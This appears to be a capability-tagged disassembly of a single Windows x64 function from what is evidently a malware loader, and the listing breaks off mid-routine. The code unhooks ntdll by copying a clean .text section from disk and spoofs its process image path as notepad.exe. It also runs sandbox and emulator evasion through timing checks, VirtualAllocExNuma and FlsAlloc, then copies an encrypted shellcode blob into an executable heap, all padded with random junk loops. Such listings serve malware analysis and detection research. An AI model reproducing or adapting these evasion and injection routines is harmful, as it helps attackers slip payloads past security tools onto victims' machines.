Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x818
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x780], xmm6
mov dword [rbp + 0x7c0], ecx
mov qword [rbp + 0x7c8], rdx
call fcn.140002ed0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov ecx, 0x1c00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x774], 0
jmp 0x14000159f
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
movsd xmm1, qword [0x140006588]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x37f
jle 0x140001551
mov dword [rbp + 0x774], 0
jmp 0x140001609
mov eax, dword [rbp + 0x774]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x774]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6f0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x37f
jle 0x1400015b7
cmp qword [rbp + 0x778], 0
je 0x140001a42
mov ecx, 0x190
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x76c], 0
mov dword [rbp + 0x768], 0
mov dword [rbp + 0x770], 0
jmp 0x1400016a0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x770]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x63
jle 0x140001654
mov dword [rbp + 0x770], 0
jmp 0x1400016de
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x76c], eax
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x63
jle 0x1400016b5
mov dword [rbp + 0x770], 0
jmp 0x140001763
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x768]
mov eax, dword [rbp + 0x770]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x6a4]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006590]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400041d0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x768], eax
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x63
jle 0x1400016f3
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x768]
movss xmm1, dword [0x140006598]
divss xmm0, xmm1
movss dword [rbp + 0x6e4], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x6e4]
movq rax, xmm3
movq xmm0, rax
call fcn.140003ec0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6e0], xmm0
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4e0]
mov rax, qword [rbp + 0x6f8]
mov r10, qword [rbp + 0x778]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x6d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov qword [rbp + 0x6b0], rax
mov word [rbp + 0x766], 0
jmp 0x140001a2a
mov rax, qword [rbp + 0x6b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x766]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a19
mov dword [rbp + 0x4a8], 0
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4a8]
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x766]
add eax, 1
mov word [rbp + 0x766], ax
mov rax, qword [rbp + 0x6b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x766], ax
jb 0x1400018ee
mov ecx, 0x50c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x760], 0
jmp 0x140001aeb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x142
jle 0x140001a62
mov dword [rbp + 0x760], 0
jmp 0x140001c17
mov dword [rbp + 0x508], 0
jmp 0x140001bf9
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x508]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001bf2
mov eax, dword [rbp + 0x508]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x504], xmm0
mov eax, dword [rbp + 0x760]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rdx, rax
mov eax, dword [rbp + 0x508]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x508]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
movss xmm0, dword [rbp + 0x504]
movss dword [rax], xmm0
add dword [rbp + 0x760], 1
mov eax, 0x142
sub eax, dword [rbp + 0x760]
cmp dword [rbp + 0x508], eax
jl 0x140001b19
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x142
jle 0x140001b0a
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x4ac], 0
mov ecx, 0x1b38
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x75c], 0
jmp 0x140001cab
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x75c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
movsd xmm1, qword [0x140006588]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x366
jle 0x140001c5d
mov dword [rbp + 0x75c], 0
jmp 0x140001d15
mov eax, dword [rbp + 0x75c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x75c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x690]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x75c], 1
cmp dword [rbp + 0x75c], 0x366
jle 0x140001cc3
mov rax, qword [rbp + 0x708]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov ecx, 0xca8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0xca8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0xca8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0xca8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x754], 0x329
mov dword [rbp + 0x758], 0
jmp 0x140001eab
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x754], 1
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x329
jle 0x140001d9f
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4b0]
lea rax, [rbp + 0x4ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x688]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x750], 0xffffffff
add dword [rbp + 0x750], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x209
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006580]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004000
movq rax, xmm0
mov qword [rbp + 0x660], rax
cmp dword [rbp + 0x750], 0x62
jle 0x140001f37
mov rax, qword [rbp + 0x4b8]
add rax, 0x3c
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x658]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x140002e02
mov rax, qword [rbp + 0x650]
mov edx, 0x4a8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x64c], eax
mov qword [rbp + 0x640], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x638]
mov r9d, 0x3000
mov r8d, 0x45d
mov edx, 0
call rax
mov qword [rbp + 0x640], rax
cmp qword [rbp + 0x640], 0
je 0x140002e02
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
je 0x1400020e8
mov rax, qword [rbp + 0x630]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov ecx, 0
call rax
mov dword [rbp + 0x74c], eax
cmp dword [rbp + 0x74c], 0xffffffff
je 0x140002e02
mov dword [rbp + 0x624], 0x267
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
call rax
mov dword [rbp + 0x60c], eax
mov eax, dword [rbp + 0x624]
mov r8, qword [rbp + 0x618]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x610]
call rax
mov dword [rbp + 0x608], eax
mov eax, dword [rbp + 0x608]
sub eax, dword [rbp + 0x60c]
cmp eax, 0x235
jbe 0x140002e02
mov dword [rbp + 0x604], 0x357
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
call rax
mov dword [rbp + 0x5ec], eax
mov eax, dword [rbp + 0x604]
mov r8, qword [rbp + 0x5f8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5f0]
call rax
mov dword [rbp + 0x5e8], eax
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0x325
jbe 0x140002e02
mov qword [rbp + 0x740], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5e0], rax
cmp qword [rbp + 0x5e0], 0
je 0x1400022ee
mov rax, qword [rbp + 0x5e0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x5d8]
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002e02
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
call rax
mov dword [rbp + 0x5cc], eax
mov ecx, 0x2c4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x5d0]
call rax
mov dword [rbp + 0x5c8], eax
mov eax, dword [rbp + 0x5c8]
sub eax, dword [rbp + 0x5cc]
cmp eax, 0x292
jbe 0x140002e02
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x5c0]
call rax
mov dword [rbp + 0x5bc], eax
mov ecx, 0x274
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x5c0]
call rax
mov dword [rbp + 0x5b8], eax
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x242
jbe 0x140002e02
mov dword [rbp + 0x5b4], 0x2a5
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5a0]
call rax
mov dword [rbp + 0x59c], eax
mov eax, dword [rbp + 0x5b4]
mov r8, qword [rbp + 0x5a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5a0]
call rax
mov dword [rbp + 0x598], eax
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x273
jbe 0x140002e02
mov qword [rbp + 0x590], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x588]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1a34280
mov ecx, 0
call rax
mov qword [rbp + 0x590], rax
cmp qword [rbp + 0x590], 0
je 0x140002e02
mov rax, qword [rbp + 0x590]
mov edx, 0x1a34280
mov rcx, rax
call fcn.140004e90
mov rax, qword [rbp + 0x590]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0x50]
lea rdx, [0x140006128]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x700]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x700]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x580]
mov r8d, 0
mov edx, 0x451
mov ecx, 0x40000
call rax
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov r9, qword [rbp + 0x578]
mov r8d, 0x451
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x708]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x560], rax
mov ecx, 0x45c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x558], rax
mov ecx, 0x45c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x738], 0x116
mov dword [rbp + 0x73c], 0
jmp 0x14000268c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x558]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x116
jle 0x14000263f
mov dword [rbp + 0x73c], 0
jmp 0x1400026eb
mov eax, dword [rbp + 0x738]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x558]
add rax, rdx
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x550]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x738], 1
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x116
jle 0x1400026a4
mov rax, qword [rbp + 0x558]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x550]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x50]
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x560]
mov r8d, 0x451
mov rcx, rax
call r9
mov dword [rbp + 0x734], 0
mov dword [rbp + 0x730], 0
mov dword [rbp + 0x72c], 0
movabs rax, 0xfb990b5ced1293f2
movabs rdx, 0xeae3a6c1196b6a03
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xa38b1b88d1cc690b
movabs rdx, 0x70ffc15283f8fd7b
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov dword [rbp + 0xf], 0xced170
movabs rax, 0xf385dfc12e61fc35
movabs rdx, 0x584a15cb920f3c15
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x2954f9e92f1313ff
movabs rdx, 0x17404d9208bd0dfa
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xd9edd7c227ee77
mov qword [rbp + 0x40], rax
mov ecx, 0x460
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x548], rax
mov dword [rbp + 0x728], 0
jmp 0x140002840
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x728]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x548]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x728], 1
cmp dword [rbp + 0x728], 0x117
jle 0x1400027f3
mov dword [rbp + 0x728], 0
jmp 0x140002930
cmp dword [rbp + 0x728], 0
je 0x1400028a0
mov eax, dword [rbp + 0x728]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x548]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x728]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x548]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400028ac
add dword [rbp + 0x728], 1
jmp 0x140002930
mov eax, dword [rbp + 0x728]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x548]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x50c], eax
mov eax, dword [rbp + 0x728]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x548]
add rax, rdx
mov edx, dword [rbp + 0x728]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x548]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x728]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x548]
add rdx, rax
mov eax, dword [rbp + 0x50c]
mov dword [rdx], eax
sub dword [rbp + 0x728], 1
cmp dword [rbp + 0x728], 0x117
jle 0x14000285b
mov rax, qword [rbp + 0x548]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400029c4
cmp dword [rbp + 0x730], 0x26
jne 0x14000298e
mov eax, dword [rbp + 0x734]
cdqe
